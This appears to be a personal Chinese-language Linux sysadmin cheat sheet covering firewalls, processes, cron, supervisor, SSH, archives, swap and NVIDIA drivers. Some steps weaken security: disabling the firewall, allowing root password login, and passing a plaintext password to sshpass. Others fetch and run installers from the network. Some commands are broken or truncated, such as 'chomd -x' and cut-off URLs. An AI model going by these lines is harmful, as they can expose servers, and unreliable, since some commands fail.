使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。
示例:
telnet 172.31.20.72 2003 测试服务是否通。
wget命令:
curl命令:
防火墙:
关闭防火墙:
service iptables stop
关闭开机自启动防火墙:
chkconfig iptables off
chkconfig --list|grep ipt
ufw操作:
开启/关闭:
ufw enable|disable
查看列表:
ufw status
增加:
ufw allow 22/tcp 允许所有的外部IP访问本机的22/tcp (ssh)端口
ufw allow 53 允许外部访问53端口(tcp/udp)
ufw allow from 192.168.1.100
ufw deny smtp
删除记录:
ufw delete allow smtp
进程:
查看进程:
ps -ef 显示所有进程信息,连同命令行
-A :所有的进程均显示出来,与 -e 具有同样的效用;
-e :
-a : 显示现行终端机下的所有进程,包括其他用户的进程;
-u :以用户为主的进程状态 ;
c :列出程序时,显示每个程序真正的指令名称,而不包含路径,参数或常驻服务的标示。
e : 列出程序时,显示每个程序所使用的环境变量。
f : 列出程序时,显示每个程序所使用的环境变量。
x :通常与 a 这个参数一起使用,可列出较完整信息。
后台运行进程:
&
nohup command &
kill进程:
sudo kill -9 `ps x | grep python | grep pdl_new_user_model_all_run | grep -v grep | awk '{print $1}'`
不能双引号
等待进程被kill掉:
until [ [ `ps x|grep python|grep redis-cli|awk '{print $2}'` == 0 ] ]; do echo hello; sleep 1; done
查看进程的具体信息:
资源占用:
top -c
nvidia-smi
文件所在位置:
lsof -p PID cwd符号链接的是进程运行目录;exe符号连接就是执行程序的绝对路径;
ll /proc/PID 查看端口占用和进程调用文件
查看线程:
ps -eLf
环境变量:
临时环境变量:
用于当前终端,一旦当前终端关闭或在另一个终端中,则无效。
export PATH=$PATH:<你的要加入的路径>
例子:export PYTHONPATH=$PYTHONPATH:/home/usrname/models:/home/usrname/models/one
当前用户变量:
在用户主目录下有一个 .bashrc 隐藏文件,可以在此文件中加入 PATH 的设置如下:
$ vim ~/.bashrc
加入:
export PATH=<你的要加入的路径>:$PATH
添加PYTHONPATH的方法也是这样,在.bashrc中添加
export PYTHONPATH=/home/zhao/setup/caffe-master/python:/home/zhao/setup/mypy:$PYTHONPATH
保存后在终端输入 $ source ~/.bashrc 使环境变量立即生效
其他类似的地方
~/.pam_environment
~/.profile
~/.bash_profile
~/.bash_login
全局变量:
$ sudo gedit /etc/profile
加入:
export PATH=<你要加入的路径>:$PATH
终端输入:echo $PATH 可以查看环境变量
类似的地方:
/etc/profile.d/*.sh
/etc/environment文件是登录Linux系统时的第二启动文件.
其他设置env的地方:
1.设置了环境变量ENV_FILE=/pod.env,那么初始化时候就会导入这个文件
2.~/.ssh/environment文件,顺序优先于ENV_FILE设置的变量,会被覆盖。
注意,ssh 192.168.1.185 xxxx只会触发~/.ssh/environment,不会触发~/.bashrc ~/.profile
读取顺序:
login shell会读取的文件有:/etc/profile、$HOME/.bash_profile,$HOME/.bash_login,$HOME/.profile,按以上顺序读取。
在图形界面下,打开一个shell也是no login shell
no login shell 在打开的时候,执行的文件是:$HOME/.bashrc,而.bashrc又会执行/etc/bashrc文件。
通过sudo或者bash如何触发/etc/.profile等文件
if [ -f /pod.env ]; then
. /pod.env
fi
bash -c ""肯定可以触发用户的~/.profile文件
sudo需要sudo -i bash -c ""或者 sudo bash -c "source /pod.env && "
定时任务:
运行shell环境:
默认是/bin/sh (supervisor不启动shell,用不了shell的内置命令)
如果需要修改,指定
SHELL=/bin/bash
PATH=/usr/local/lib/python3.6/bin:/usr/bin:/bin 用不了$PATH
MAILTO=root
HOME=/data/webapps/ops.manage.ui
BASH_ENV=必须有权限访问的路径
分类:
crontab在/etc目录下面存在cron.hourly,cron.daily,cron.weekly,cron.monthly,cron.d五个目录和crontab,cron.deny二个文件。
cron.daily是每天执行一次的job
cron.weekly是每个星期执行一次的job
cron.monthly是每月执行一次的job
cron.hourly是每个小时执行一次的job
cron.d是系统自动定期需要做的任务
crontab是设定定时任务执行文件
cron.deny文件就是用于控制不让哪些用户使用Crontab的功能
编辑:
crontab -e 自动存放于/var/spool/cron/crontabs/用户名 目录中
crontab -u username -e root身份编辑其他用户的crontab文件
格式:
* * * * * command
minute hour day month week command
分 时 天 月 星期 命令
特殊字符
星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。
逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”。
中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”。
正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。
同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。
运行:
文件以用户名命名.linux的cron服务是每隔一分钟去读取一次/var/spool/cron,/etc/crontab,/etc/cron.d下面所有的内容
/etc/crontab是针对系统的任务,其中的”run-parts”这个参数了,后接文件名。如果去掉这个参数的话,后面就可以写要运行的某个脚本名,而不是文件夹名了
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
查询:
crontab -l
删除:
crontab -r 删除所有的crontab的工作内容,若仅要删除一项,请用-e去编辑。
操作命令:
/sbin/service crond start //启动服务
/sbin/service crond stop //关闭服务
/sbin/service crond restart //重启服务
/sbin/service crond reload //重新载入配置
/sbin/service crond status //查看服务状态
supervisor管理进程:
概述;
保证应用一直处于运行状态,在遇到程序异常、报错等情况,导致 web 应用终止时,需要保证程序可以立刻重启,继续提供服务。
安装:
下载安装:
wget https://pypi.python.org/packages/80/37/964c0d53cbd328796b1aeb7abea4c0f7b0e8c7197ea9b0b9967b7d004def/supervisor-3.3.1.tar.gz
tar zxf supervisor-3.3.1.tar.gz
mv supervisor-3.3.1 supervisor
cd supervisor
python setup.py install
python3安装:
pip install git+https://github.com/Supervisor/supervisor
配置:
mkdir /etc/supervisor
echo_supervisord_conf > /etc/supervisord.conf
sudo vim /etc/supervisord.conf
修改[include]路径:files = /etc/supervisord.d/*.conf
注释掉port
sudo vim /etc/supervisord.d/test.conf
具体配置如下:
[program:test]
command=python /home/czl/test.py ; 被监控的进程路径,对于django项目需要 --noreload
directory=/home/czl/ ; 执行前要不要先cd到目录去,一般不用
priority=1 ;数字越高,优先级越高
numprocs=1 ; 启动几个进程
autostart=true ; 随着supervisord的启动而启动
autorestart=true ; 自动重启。。当然要选上了
startretries=3 ; 启动失败时的最多重试次数
exitcodes=0 ; 正常退出代码(是说退出代码是这个时就不再重启了吗?待确定)
stopsignal=TERM ; 用来杀死进程的信号
stopwaitsecs=60 ; 发送SIGKILL前的等待时间
redirect_stderr=true ; 重定向stderr到stdout
stdout_logfile=/tmp/test.log
操作:
启动:
supervisord -c /etc/supervisord.conf
或/usr/bin/python /usr/local/bin/supervisord
重启supervisord主进程:
supervisorctl reload 载入最新的配置文件,停止原有进程并按新的配置启动、管理所有进程。
关闭supervisord:
supervisorctl shutdown
查看:
supervisorctl status
启动或者停止服务:
supervisorctl stop|start|restart program_name
重读所有配置文件:
supervisorctl reread
重读后更新program配置:
supervisorctl update program名字
supervisorctl update
添加/移除任务
supervisorctl remove/add xxx
分组:
[group:model]
programs=dch,sms
PYTHONPATH环境变量设置:
[supervisord]
environment=PYTHONPATH='/home/ubuntu/data/code/feature-data-service' 为所有的program添加环境变量
浏览器访问:
IP:port/
开机启动:
1.Linux 在启动的时候会root用户执行 /etc/rc.local 里面的脚本,添加启动命令即可
注意/etc/rc.local是/etc/rc.d/rc.local的软链:ll /etc/rc.local
如果启动失败,查看/etc/rc.d/rc.local的执行权限
ll /etc/rc.d/rc.local
sudo chomd -x /etc/rc.d/rc.local
注:
/usr/bin/python或安装全路径,不能是python这种
python xxx.py 改为 nohup python xxx.py &
设置日志输出:
/etc/rc.local文件开头加入:
exec 2> /tmp/rc.local.log
exec 1>&2
set -x
切换用户执行命令:
/bin/su - ubuntu -c "/usr/bin/supervisord"
问题:
读取不了/etc/profile里面的环境变量,自启动rc.local先于/etc/profile被系统执行,添加source etc/profile
2.或sh脚本放到 /etc/profile.d/下
目录下的sh脚本会在用户第一次登录shell(包括新开shell会话也算)时自动执行
/etc/profile.d/比/etc/profile好维护,不想要什么变量直接删除/etc/profile.d/下对应的shell脚本即可
3.或将启动文件cp到 /etc/init.d/或者/etc/rc.d/init.d/(前者是后者的软连接)下
cat /etc/init.d/test
sudo /usr/bin/nginx
sudo /bin/su - ubuntu -c "/usr/bin/supervisord"
sudo chmod 755 /etc/init.d/test
sudo update-rc.d /etc/init.d/test defaults 95
sudo update-rc.d -f test remove
service test status
centos系统下
脚本开头需要添加注释:
执行命令
sudo chkconfig --add nginx
sudo chkconfig --del nginx
1./lib/lsb/init-functions在centos下没有,需要yum install redhat-lsb
2./lib/init/vars.sh网上搜下复制
3.start-stop-daemon在centos下也没有,
wget http://developer.axis.com/download/distribution/apps-sys-utils-start-stop-daemon-IR1_9_18-2.tar.gz
cd apps/sys-utils/start-stop-daemon-IR1_9_18-2/
gcc start-stop-daemon.c -o start-stop-daemon
cp start-stop-daemon /usr/bin
环境问题:
不启动任何shell,如bash或sh,不能使用内置shell命令,如source,
解决:/bin/bash -c 'source "$0" && exec "$@"' 后面接正常command即可
日志分割:
概述:
logrotate软件
配置:
在/etc/logrotate.d/xx配置
多个路径用空格分隔
/home/ubuntu/data/var/log/nginx/*.log {
su nobody root
daily
missingok
rotate 30
compress
dateext
delaycompress
notifempty
sharedscripts
prerotate
if [ -d /etc/logrotate.d/httpd-prerotate ]; then \
run-parts /etc/logrotate.d/httpd-prerotate; \
fi \
endscript
postrotate
[ -s /run/nginx.pid ] && kill -USR1 `cat /run/nginx.pid`
endscript
}
手动执行logrotate:
logrotate /etc/logrotate.conf 每执行一次才分割
-d 测试运行,查看信息
-f 强制执行,一般会提示错误信息,如该日志文件是否有权限
如何确定某个配置是否生效:
logrotate -f /etc/logrotate.d/test.conf
定时执行:
在/etc/cron.daily/目录下加入logrorate配置文件
如:
cd /var/lib/logrotate
test -e status || touch status
head -1 status > status.clean
sed 's/"//g' status | while read logfile date
do
[ -e "$logfile" ] && echo "\"$logfile\" $date"
done >> status.clean
mv status.clean status
test -x /usr/sbin/logrotate || exit 0
/usr/sbin/logrotate /etc/logrotate.conf
然后在/etc/crontab确定daily任务的执行时间
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
SSH:
密钥:
新建命令:
ssh-keygen -t rsa -C "chenzl@akulaku.com"
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh # 目录权限为700
ll -a ~/
使用:
将id_rsa.pub附加到其他服务器下的.ssh/authorized_keys,本机的id_rsa即可通过私钥匹配公钥访问其他服务器
ssh -i ./id_rsa 可以指定私钥,需要600。id_rsa的权限700 600都可以
配置:
.ssh/config文件可以配置多个登录信息
根据sshkey私钥生成公钥:
ssh-keygen -y -f ~/.ssh/id_rsa > ~/.ssh/id_rsa.pub
检测公私钥是否匹配:
diff <( ssh-keygen -y -e -f ~/.ssh/id_rsa ) <( ssh-keygen -y -e -f ~/.ssh/id_rsa.pub )
ssh保持长连接不断开:
1.修改/etc/ssh/sshd_config配置文件
ClientAliveInterval 60
ClientAliveCountMax 10
sudo service sshd reload
2.创建~/.ssh/config文件
ServerAliveInterval 60
保存退出,重新开启shell,则再ssh远程服务器的时候,不会因为长时间操作断开。
3.修改/etc/profile配置文件
TMOUT=1800
30分钟没操作就自动LOGOUT
4.window下xshell工具设置
每间隔多少秒发送一个字符串即可
设置密码登录:
编辑 /etc/ssh/sshd_config 文件 将PasswordAuthentication 的值改为 yes
PermitRootLogin without-password 改为 PermitRootLogin yes
然后 ssh ubuntu@3.18.144.xxx
sudo service ssh restart
自动输入密码:
sshpass -p xxx scp $1 nferzhuang@192.168.1.101:$2
压缩与解压:
tar文件:
概述:
只是打包动作,将许多文件包为一个文件,相当于归档处理,不做压缩;解压也一样,只是把归档文件释放出来。
压缩:
tar function options files(function与options之间没有空格)
tar -cvf file.tar file1 file2
function:
-c, --create create a new archive 创建一个归档文件
-f, --file=ARCHIVE use archive file or device ARCHIVE 后面要立刻接被打包的档案名,比如--file=examples.tar
-t,列出备份文件的内容
-P,绝对路径打包(打的包解开时是绝对路径,要注意这一点,通过-C /指定根目录可解决)
-C,指定相对路径(这个就是相对路径了)tar cf test.tar -C /path/to directory
options:
-v, --verbose verbosely list files processed 显示创建归档文件的进程,可以多个v,显示更多的信息
-k,解开文件时保留已存在的文件
tar cv -T list.txt -f /dev/rft0 备份到设备中
解压:
tar -xvf examples.tar (解压至当前目录下)
tar -xvf examples.tar -C /path (/path 解压至其它路径)
tar xvf tarfile files (解压指定文件名)
-x, --extract, extract files from an archive 从一个归档文件中提取文件
-P,绝对路径解包,后面接-C也没用了,直接解压到绝对路径去
-C /path (/path 解压至其它路径,会报tar: Removing leading `/' from member names,不影响解压)
执行tar xvf的用户会作为新的拥有者,除了root执行是原拥有者
tar.gz:
概述:
tar.gz和tgz只是两种不同的书写方式,后者是一种简化书写,等同处理
这种格式是Linux下使用非常普遍的一种压缩方式,兼顾了压缩时间(耗费CPU)和压缩空间(压缩比率)其实这是对tar包进行gzip算法的压缩
压缩:
之前做法:
tar cvf tarfile files
gzip -9 tarfile
管道做法:
如果把tar读取或写入的文件指定为-,就会从标准输入/输出做读写的动作
tar cvf - files |gzip -9 > test.tar.gz
gunzip -9c test.tar.gz |tar xvf -
tar选项:
tar -zcvf examples.tgz examples (examples当前执行路径下的目录)
-z,
配套tar与bzip2
tar cvf tarfile.tar.gz
tar cvf tarfile.tar.gz
解压:
tar -zxvf examples.tar (解压至当前执行目录下)
tar -zxvf examples.tar -C /path (/path 解压至其它路径)
tar.bz:
概述:
Linux下压缩比率较tgz大,即压缩后占用更小的空间,使得压缩包看起来更小。但同时在压缩,解压的过程却是非常耗费CPU时间。
压缩:
tar -jcvf examples.tar.bz2 examples (examples为当前执行路径下的目录)
-j, --bzip2 filter the archive through bzip2 通过bzip2压缩的形式对文件进行归档
解压:
tar -jxvf examples.tar.bz2 (解压至当前执行目录下)
tar -jxvf examples.tar.bz2 -C /path (/path 解压至其它路径)
gz类型:
概述:
当压缩完后,原文件会被删除。传多个文件时,会单独压缩为各自的gz
压缩:
gzip file
gzip -N exsample.gz 恢复原文件名
ls |gzip > list.gz 管道压缩
gzip -d examples.gz examples
gzip -1 -2 -3 --- -9 数字越小越快,默认-6
解压:
gunzip examples.gz
gunzip -c list.gz|more 解压到管道,或者用zcat命令,能直接查看压缩文件的内容
查看信息:
gzip -l test.txt.gz
zip类型:
概述:
压缩率并不是很高,不如 rar及 tar.gz 等格式。
压缩:
zip -qr examples.zip examples (examples为目录)
-x "log/*" 排除某些文件夹
-i "test/" 只压缩某些文件夹
解压:
unzip examples.zip
rar:
压缩:
rar -a examples.rar examples
解压:
rar -x examples.rar
7z:
apt-get install p7zip-full
7z x file.7z
重要目录:
/bin 存放最基本的unix命令,如ls
/usr/bin 其他较不常用的命令,其实存放在/bin和/usr/bin的命令并没有特殊区分,分开原因是早期unix一个目录存放大小限制,换地方存放
/usr/sbin 作为系统管理用途的命令
/etc 子系统所用到的文件,子系统指:与网络或周边设备相关,如Nginx
/var 用于存放一些用于监控的文件,如日志文件
/usr/lib 标准函数库,python安装于此
关闭系统:
磁盘上常用的数据会通过高速缓存机制存在内存中,(一个是机械动作,一个是电子动作,差1000倍)
如果突发断电,数据还没写回磁盘就消失
shutdown -r +10 10分钟后重启,这刻发出警告信息
shutdown -r +10 "reboot"
shutdown -r 13:00
shutdown -r now
shutdown -h 直接停机
文件系统:
常见文件系统类型:
ext2 ext4 最通用的linux文件系统
minix 原始的Minix文件系统,
NFS 运行存取于远程网络上的文件
格式化一个软盘:
sudo mkfs -t ext4 /dev/vdb
扩容后刷新容量:
resize2fs 设备文件名 大小 在线扩容(mount状态下),增大或收缩(未加载状态)
挂载命令:
mount -t type device mount-point
-o 指定参数
-r 只读,等于 -o ro,对于光盘类的介质,挂为只读状态是必要的,默认rw读写
type 就是文件系统的类型,device是文件系统所在的 实际设备(就是/dev下的设备文件),
ext2 linux目前常用的文件系统
nfs 网络文件系统
ext3 是ext2文件系统启用日志的版本。
ext4 ext3的升级版,包含一系列重要的性能和可靠性改进,并大大提升了文件系统中卷、文件、目录的最大尺寸。
tmpfs是一种虚拟内存文件系统,而不是块设备。是基于内存的文件系统
tmpfs默认的大小是RM的一半
对于tmpfs本身而言,它并不知道自己使用的空间是RM还是Swap,这一切都是由内核的vm子系统管理的。
VM由RM+Swap两部分组成,因此tmpfs最大的存储空间可达(The size of RM + The size of Swap)。
每次开机会自动清空
Overlayfs是一种堆叠文件系统,它依赖并建立在其它的文件系统之上(例如ext4fs和xfs等等),并不直接参与磁盘空间结构的划分,
仅仅将原来底层文件系统中不同的目录进行“合并”,然后向用户呈现。
mount-point则是要挂载该文件系统的目录名称, 在使用这个命令之前,您必须先建立该目录。
umount 将文件系统脱离挂载点
将系统缓存区内所暂存的数据写回该磁盘上文件系统,使其数据与内存同步,然后让该文件系统与原先挂载的目录脱离关系
umount /dev/fd0
注:该命令对于可拆卸设备如软盘、光盘、zip等,取出前需先执行该命令,进行卸载,以同步内存缓存数据
也可通过
sync
命令强制系统把文件系统缓冲区内的所有资料写回实际的媒质
mount查看挂载清单
lsblk列出设备信息
mount -a
把所有列在/etc/fstab的文件系统都挂上,通常在系统启动时由/etc/rc.d 中的script立件(例如rc.sysinit)所执行,
这样系统启动后您的硬盘分区、光驱等等,都将被自动挂上,除了root文件系统
root文件系统/包含了/etc/fstab /etc/rc.d,所以内核必须在启动时直接挂载root文件系统
非root权限下进行挂载与卸载:
1.在/etc/fstab文件中为该设备加上user的参数, 这使得所有用户都可以用 mount 和 umount 命令来挂载或卸载该设备。
如:
/dev/mapper/vg_study-lv_study /lvm_study ext4 defaults 0 0
格式:
device设备名或者卷标 mount-point挂载点(也就是挂载目录) type所要挂载设备的文件系统或者文件系统类型 options
第1列是设备名或者卷标
第2列是挂载点(也就是挂载目录)
第3列是所要挂载设备的文件系统或者文件系统类型
第4列是挂载选项,通常使用defaults就可以
options是一组逗号分割的选项,即-o 后的参数 -default:启用几个内定的挂载方式。如rw、async(高速缓存),只读记得改为ro
第5列设置是否使用dump备份,置0为不备份,置1,2为备份,但2的备份重要性比1小
第6列设置是否开机的时候使用fsck检验所挂载的磁盘,置0为不检验,置1,2为检验,但置2盘比置1的盘晚检验。
2.使用mount的前端界面(frontend)程序,这些程序执行时会setuid为root
置换空间:
概念:
凡是用来增加系统可使用内存容量的磁盘空间都算
在linux下,置换空间作为分页paging使用:当实际内存不足时,就把部分内存页暂时存放到磁盘上,必要时才换回来。
虚拟内存:
向磁盘借来的空间虽然不是内存,但当内存来使用,所以一般也称为虚拟内存
速度要慢1000倍以上
种类:
1.独立的磁盘分区
效果较好,因为磁盘分区可以保证连续的
2.文件系统中的文件
文件对应的磁盘分区可能被分散在文件系统的各处
free命令:
total used free shared buffers cached
Mem: 32948224 28230928 4717296 3084 167740 15865012
-/+ buffers/cache: 12198176 20750048
Swap: 0 0 0
total:内存总量,不包含内核为了各自需要所使用掉的部分,所以实际内存要大一点
shared:被共享的内存
buffers:缓冲区容量,内存与磁盘之间的高速缓存区使用,加快磁盘使用
swap:total显示的容量小于置换分区与置换文件容量的总和,因为各个置换区中,都会有几个用以映射对应内存页的扇区
建立:
置换分区:fdisk建立分区
置换文件:新建文件并塞置换空间容量大小的内容
sudo dd if=/dev/zero of=/swap bs=1024 count=8192 # /dev/zero的任何读取动作都会一直传回0
mkswap -c /swap 8192 格式化
sync 确保同步格式化命令
swapon /swap
开机启动:
可以将swapon -a加入/etc/rc.d/rc.sysinit
在/etc/fstab文件中加入 /swap none swap sw
停用:
swapoff device
删除该文件
删除/etc/fstab对应信息
永久关闭swap:
1. swapoff --all
sed -i 'd/swap/d' /etc/fstab
4. update-grub && update-initramfs -u
5. echo "vm.swappiness = 0">> /etc/sysctl.conf
sysctl -w vm.swappiness=0
释放buff内存:
sudo sh -c 'echo 1 >/proc/sys/vm/drop_caches'
sudo sh -c 'echo 2 >/proc/sys/vm/drop_caches'
sudo sh -c 'echo 3 >/proc/sys/vm/drop_caches'
设备文件:
设备文件都是放在/dev目录下, 系统上的每个设备在/dev下都应该有个对应的项目
权限列表首字符:
b:扇区设备文件
-:一般文件
d:目录
c:字符设备文件
增加新设备文件:
mknod -m permissions name type major minor
如:
mknod -m 666 /dev/bogus b 42 0
删除:
不会从内存或内核把对应的设备驱动程序删除,只是再无法通过该设备文件与设备的驱动程序产生交互
设备文件只是为特定的设备驱动程序提供一个挂钩,使得该驱动程序可以存在内核之中
备份:
是否使用压缩:
压缩后的文件如果小部分的备份区域损坏了,gzip等压缩算法依靠数据连贯性来达到压缩效果的,无法解压
而tar能恢复大部分数据
增量式备份:
搞清楚哪些文件距离上次备份时间,发生了修改
$ sudo find / -mtime -1 \! -type d -print > list.txt
!否定运算符,\!转义,否则解释为特殊字符
-print会打印到标准输出
然后备份
tar cv -T list.txt -f /dev/rft0 备份到设备中
设置终端属性:
setterm能够设置键盘重复速度、制表符距离和字符颜色
如setterm -foreground white -background black
本地挂载服务器路径:
DokanSetup_redist-1.0.0.5000.exe + WinSSHFS-1.6.1.13-devel.msi
https:
https:
安装这两个即可
查找:
查找文件夹中内容包含关键字的文件:
find / -name '*.txt' | xargs grep 'route'
find / -name '*.txt' -type f| xargs grep 'route'
在根文件夹下查找后缀名为txt且含有关键字route的文件,列出文件名和route所在行。
如何防止一行内容太多:
for i in /usr/share/nginx/html/*;do echo $i; cat $i|grep -o ".\{0,50\}download.worker.481212127e8dc3dd8fa8.js\{0,50\}";done
压测:
CPU:
docker run -it
/usr/bin/stress-ng
起一个进程对cpu压测
- name: myapp
image: ikubernetes/stress-ng
command: ["/usr/bin/stress-ng","-c 1","--metrics-brief"]
resources:
requests:
cpu: "200m"
memory: "128Mi"
limits:
cpu: "500m"
memory: "512Mi"
(100 - (avg by (instance)(irate(node_cpu_seconds_total{mode="idle"}[300s])) * 100))>80
内存:
stress-ng
/usr/bin/stress-ng
使用率:
(node_memory_MemTotal_bytes - node_memory_MemFree_bytes - node_memory_Buffers_bytes - node_memory_Cached_bytes)/
node_memory_MemTotal_bytes > 0.8
GPU:
docker pull chrstnhntschl/gpu_burn:latest
docker run --rm -it --entrypoint="" chrstnhntschl/gpu_burn bash
/root/gpu_burn
nvidiasmi_utilization_gpu
nvidiasmi_utilization_memory
磁盘
/usr/bin/stress-ng --io 5 --metrics-brief
node_filesystem_free_bytes / node_filesystem_size_bytes
dd if=/dev/zero of=file bs=1M count=20000
国内换源:
apt:
sed -i 's|https\?://[^/]\+/|http://mirrors.aliyun.com/|' /etc/apt/sources.list && apt-get update
pip:
pip3 install
~/.pip/pip.conf(window下%HOMEPATH%\pip\pip.ini)
python3 -m pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/
[global]
index-url = http://pypi.douban.com/simple
[install]
trusted-host=pypi.douban.com
临时使用:
pip install some-package -i https://mirrors.aliyun.com/pypi/simple/
conda:
conda config
conda config
conda config
docker:
/etc/docker/daemon.json
"registry-mirrors":["https://expuzg6d.mirror.aliyuncs.com"]
systemctl restart docker
window下
https:
https:
右键应用settings配置docker engine
{
"registry-mirrors": ["https://expuzg6d.mirror.aliyuncs.com"]
}
npm:
npm --registry https://registry.npm.taobao.org install express 临时
npm config set registry https://registry.npm.taobao.org 永久使用
github:
暂无
nvidia驱动:
docker如何使用显卡:
apt-get install nvidia-container-runtime
window暂无nvidia-docker,但目前仅在Linux平台上支持,所以docker使用不了gpu
卸载:
sudo apt-get -y purge *nvidia*
apt-get remove
apt -y autoremove
rm /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.1 (可以手动link)
dpkg -l | grep -i nvidia
dpkg
关于/proc/driver/nvidia/version仍然显示
cat /proc/driver/nvidia/version
lsmod | grep nvidia
rmmod nvidia
rmmod不了的问题:
发现大量irq/nvidia进程,kill -9 杀不掉,原因是图形界面用到的。
systemctl set-default multi-user.target
reboot 0
systemctl set-default graphical.target
reboot 0
方法二:
lsof -n -w /dev/nvidia*查看哪个服务在占用,然后停掉
可能到这部,nvidia-smi等工具还能执行,lsmod查看内核模块仍然加载,那么执行:
nvidia-uninstall(推荐)
reboot
重启后查看内核mod确认
识别NVIDIA显卡型号
update-pciids 更新PCI ID database
lshw -numeric -C display
lspci | grep -i nvidia
查看nvidia驱动和NVRM版本
dpkg
cat /proc/driver/nvidia/version
识别显卡模型和推荐的驱动程序
apt install ubuntu-drivers-common
ubuntu-drivers devices
下载显卡驱动
方法一:
https://us.download.nvidia.com/XFree86/Linux-x86_64/304.88/NVIDIA-Linux-x86_64-304.88.run
http://us.download.nvidia.com/XFree86/Linux-x86_64/440.82/NVIDIA-Linux-x86_64-440.82.run
https://us.download.nvidia.com/XFree86/Linux-x86_64/450.66/NVIDIA-Linux-x86_64-450.66.run
https://us.download.nvidia.com/tesla/410.104/NVIDIA-Linux-x86_64-410.104.run
module-init-tools
kmod
gcc
make
sh NVIDIA-Linux-x86_64-430.26.run
卸载通过nvidia-uninstall比较干净
方法二:
apt-get install nvidia-384/nvidia-driver-440
方法三:
ubuntu-drivers devices
ubuntu-drivers autoinstall
方法四:
cuda run包自带driver,可以安装指定对应cuda版本的driver版本
测试运行:
distribution=$(. /etc/os-release;echo $ID$VERSION_ID) \
&& curl -s -L https://nvidia.github.io/nvidia-docker/gpgkey | sudo apt-key add - \
&& curl -s -L https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.list | sudo tee /etc/apt/sources.list.d/nvidia-docker.list
&& apt update
apt-get install -y nvidia-docker2
docker run
深究原因:
这是因为镜像编译的Dockerfile指定了ENV NVIDIA_VISIBLE_DEVICES=all,docker run的时候能看到所有卡
类似的,k8s启动pod的时候,
1.如果resource指定了nvidia.com/gpu: 非0的数量,那么会携带环境变量NVIDIA_VISIBLE_DEVICES=xxx,这样容器内只能获取指定卡
如果指定了NVIDIA_REQUIRE_CUDA,但安装不是相应的,比如只安装了cuda.run包,非apt方式,那么会导致pytorch等框架使用失败
2.如果resource指定了nvidia.com/gpu: 0,
没有环境变量CUDA_VERSION,这个时候device-plugin才不会获取任何卡,smi以及驱动也不会拷贝
有环境变量CUDA_VERSION
有变量NVIDIA_VISIBLE_DEVICES(none或all(pod和kfserving中表现不一样,pod不能看到,kfserving能看到所有卡)都一样)或NVIDIA_REQUIRE_CUDA,获取不了任何卡
没有变量NVIDIA_VISIBLE_DEVICES或NVIDIA_REQUIRE_CUDA,会获取所有卡
3.如果没有指定nvidia.com/gpu: 0
- 镜像自带环境变量NVIDIA_VISIBLE_DEVICES=all/none,那么pod看不到任何卡
- 镜像不自带环境变量NVIDIA_VISIBLE_DEVICES,
镜像带有环境变量NVIDIA_REQUIRE_CUDA="cuda>=10.1 brand=tesla,driver>=384,driver<385 brand=tesla,driver>=396,driver<397 brand=tesla,driver>=410,driver<411",不会挂载任何卡
镜像不带环境变量NVIDIA_REQUIRE_CUDA,默认挂载所有卡
重大bug:
如果镜像没有环境变量VIDIA_VISIBLE_DEVICES或NVIDIA_REQUIRE_CUDA,那么会加载所有卡
比较推荐的方法:
yaml文件定义env,NVIDIA_REQUIRE_CUDA,但非0个gpu时,而且不是apt安装的方式,会导致推理框架使用不了。
还是推荐dockerfile设置env NVIDIA_VISIBLE_DEVICES=none
NV_GPU=0 nvidia-docker run
docker run
容器内是否需要安装驱动:
目前看来只需要安装cuda即可,driver相关通过nvidia-docker这个runtime来处理,镜像不需要安装。
问题:
1. Failed to initialize NVML: Unknown Error需卸载干净再重新安装
2. smi提示[NOT SUPPORTED]
https:
mv /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.1 /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.1.bak
make TARGET_VER=440.36
make install TARGET_VER=440.36 libdir=/usr/lib/x86_64-linux-gnu
# 如果不小心误删,可以删除干净lib后,再autoremove等卸载干净后然后重新安装
# 这时候还是Processes Not Supported,但GPU-Util等信息有了
# 影响:
1.容器的自动挂载nvidia-smi等文件
2.nvidia-device-plug的正常启动
3.job_exporter等容器要想使用nvidia-smi,因为libnvidia-ml.so.1文件变更,导致不能自动挂载libnvidia-ml.so.440.64
可以手动复制文件,或者容器内安装nvidia-smi(apt找不到)
kubectl cp /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.1 job-exporter-vv6pn:/usr/lib/x86_64-linux-gnu/libnvidia-ml.so -n kube-system
kubectl cp /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.440.64 job-exporter-vv6pn:/usr/lib/x86_64-linux-gnu/libnvidia-ml.so.440.64 -n kube-system
4.问题NVIDIA-SMI has failed because it couldn
禁用掉UEFI secure boot
5.提示Failed to initialize NVML: could not load NVML library.
确保依赖都安装好后,可以重新安装驱动试试
6.卸载不掉
nvidia-installer
7.reboot后发现驱动没了
查看内核模型没有加载,dpkg已经安装相应的package
尝试使用modprode发现没有对应内核模块
内核自动升级了,而安装驱动的时候没有设置driver伴随内核升级.run
nvidia-docker安装:
需要添加源,不用FQ
curl -s -L https:
distribution=$(. /etc/os-release;echo $ID$VERSION_ID)
curl -s -L https:
sudo apt-get update
yes | sudo apt-get install -y nvidia-docker2
注意16.04需要额外安装apt install apt-transport-https
容器内的nvidia-smi和驱动如何来?
启动容器时,必要的设备和驱动会自动挂载。但不包含cuda,需要自己安装。20.04发现gcc提示版本不对,18.04则可以
